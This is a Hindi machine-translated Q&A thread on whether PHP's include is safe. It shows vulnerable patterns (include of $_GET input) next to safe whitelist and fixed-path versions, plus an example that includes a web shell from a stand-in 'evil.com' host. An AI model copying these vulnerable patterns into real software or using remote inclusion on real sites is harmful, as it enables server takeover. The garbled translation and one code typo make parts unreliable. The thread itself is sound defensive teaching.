PHP - क्या "शामिल" फ़ंक्शन सुरक्षित है?

Question

मैं अपनी वेबसाइट में हेडर या सत्र कक्षा जोड़ने के लिए "शामिल" फ़ंक्शन (e.x. "शामिल हैडर 2.php 'या" include' class.users.php '") का उपयोग कर रहा हूं। मुझे वास्तव में याद नहीं है, लेकिन मैंने सुना है कि हैकर दुर्व्यवहार, किसी भी तरह, यह "शामिल" चीज है, नकली शामिल पृष्ठ या ऐसा कुछ भेज रहा है। तो मूल रूप से मैं जानना चाहता हूं कि "शामिल" फ़ंक्शन के साथ क्या है, मैं इसकी रक्षा कैसे कर सकता हूं, वे इसका दुरुपयोग कैसे करते हैं और यदि मैं जो खोज रहा हूं उसके लिए बेहतर समाधान हैं।

अग्रिम धन्यवाद।

Answer 1

यह सब इस पर निर्भर करता है कि आप इसे कैसे कार्यान्वित करते हैं। यदि आप विशेष रूप से पथ सेट करते हैं, तो यह सुरक्षित है। हमला तब हो सकता है जब आप उपयोगकर्ता इनपुट को sanitization या चेक के बिना फ़ाइल पथ निर्धारित करने की अनुमति देते हैं।

असुरक्षित (निर्देशिका Traversal)

<?php 
include($_GET['file']); 
?> 

असुरक्षित (URL fopen - यदि सक्षम हो)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

असुरक्षित

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

आंशिक रूप से असुरक्षित (* .php फ़ाइलों जोखिम रहता है)

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

सुरक्षित (हालांकि यकीन है कि क्यों किसी को भी इस करना होगा नहीं।)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

सुरक्षित

<?php 
include('./includes/somefile.php'); 
?> 

Answer 2

शामिल सुरक्षित प्रदान की जाती है तुम नहीं:

1. www.someoneelsesssite.com/something.php
2. की तरह एक दूरस्थ फ़ाइल शामिल एक रास्ता है कि ग्राहक से आया से एक फ़ाइल को शामिल करें। www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
3. डेटाबेस की तरह संभवतः किसी अन्य संभावित स्रोत से फ़ाइल शामिल करें।

2 और 3 तकनीकी रूप से चेतावनी है कि यदि आप . या / या पर खिड़कियों की अनुमति नहीं देने \ आप शायद ठीक हैं। लेकिन अगर आपको नहीं पता कि क्यों, आप इसे जोखिम के लिए पर्याप्त नहीं जानते हैं। यहां तक ​​कि जब आपको लगता है कि डेटाबेस केवल या अन्यथा सुरक्षित है, तो यह मानना ​​बुद्धिमानी नहीं है कि जब तक आपको वास्तव में नहीं करना है, जो लगभग कभी नहीं होता है।

जैसा कि pp19dd का उत्तर बताता है। यह भी महत्वपूर्ण है कि आप .php एक्सटेंशन के साथ अपना नाम शामिल करें। यदि आपने PHP फ़ाइल के रूप में किसी अन्य फ़ाइल प्रकार को पार्स करने के लिए अपाचे (या जो भी वेब सर्वर आप उपयोग कर रहे हैं) सेट किया है, तो यह भी सुरक्षित है। लेकिन अगर आप निश्चित रूप से नहीं जानते हैं, तो विशेष रूप से .php का उपयोग करें।

Answer 3

शामिल साथ दुर्व्यवहार किया जा सकता है अगर आप कुछ इस तरह करते हैं:

include($_GET["page"]); 

और फिर URL को कॉल:

myscript.php?page=index.php

हमलावरों तो hxxp://hackerz.ru/install_stuff.php के लिए index.php स्थानापन्न कर सकते हैं और अपने सर्वर ख़ुशी से चलेंगे यह।

include स्वयं पूरी तरह से सुरक्षित है। बस अपने इनपुट को हमेशा सत्यापित/बचाना सुनिश्चित करें।

Answer 4

सबसे अच्छी बात यह सुनिश्चित करना है कि जिस पृष्ठ को आप शामिल करने का प्रयास कर रहे हैं वह पहले मौजूद है। असली सुरक्षा त्रुटियां तब आती हैं जब आपका शामिल पृष्ठ किसी प्रकार के उपयोगकर्ता इनपुट से संसाधित होता है, जैसे यूआरएल वैरिएबल। ?include=page.php जब तक आप इनके बारे में सतर्क हैं, आपको ठीक होना चाहिए।

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 

Answer 5

शामिल साथ सबसे बड़ी समस्या संभवत: कुछ है कि स्वचालित रूप से वेब सर्वर द्वारा निष्पादित नहीं प्राप्त करता है करने के लिए PHP से फ़ाइल नाम एक्सटेंशन बदल रहा है। उदाहरण के लिए- library.inc, या config.inc। वेब ब्राउज़र के साथ इन फ़ाइलों को आमंत्रित करने से कोड को निष्पादित करने के बजाय कोड प्रकट होगा - और कोई भी पासवर्ड या शोषक संकेत दिखाए जाएंगे।

config.phpconfig.inc साथ उस में एक पासवर्ड हो सकता है की तुलना करें। Config.inc को खींचना ज्यादातर मामलों में दिखाएगा कि डेटाबेस पासवर्ड क्या था।

ऐसे प्रोग्रामर हैं जो पुस्तकालयों के लिए .inc एक्सटेंशन का उपयोग करते हैं। आधार यह है कि वे एक वेब सर्वर द्वारा सुलभ निर्देशिका में नहीं होंगे। हालांकि, कम सुरक्षा पैरानोइड प्रोग्रामर उस फ़ाइल को एक सुविधाजनक वेब निर्देशिका में डंप कर सकते हैं।

अन्यथा, सुनिश्चित करें कि आप किसी फ़ाइल स्ट्रिंग द्वारा सबमिट की गई फ़ाइल को शामिल नहीं करते हैं। पूर्व: include($_GET['menu_file']) < - यह बहुत गलत है।

Answer 6

कुछ भी सर्वर पक्ष (मानते हैं कि आपका सर्वर समझौता नहीं किया गया है) सुरक्षित है। ऐसा करने:

$var = $_GET['var']';  
include $var . ".php"; 

असुरक्षित है।

include "page.php"; 

सुरक्षित है।

Answer 7

मैं इस मेथ का उपयोग कर रहा हूँ आयुध डिपो।

<?php include (dirname(__FILE__).'/file.php');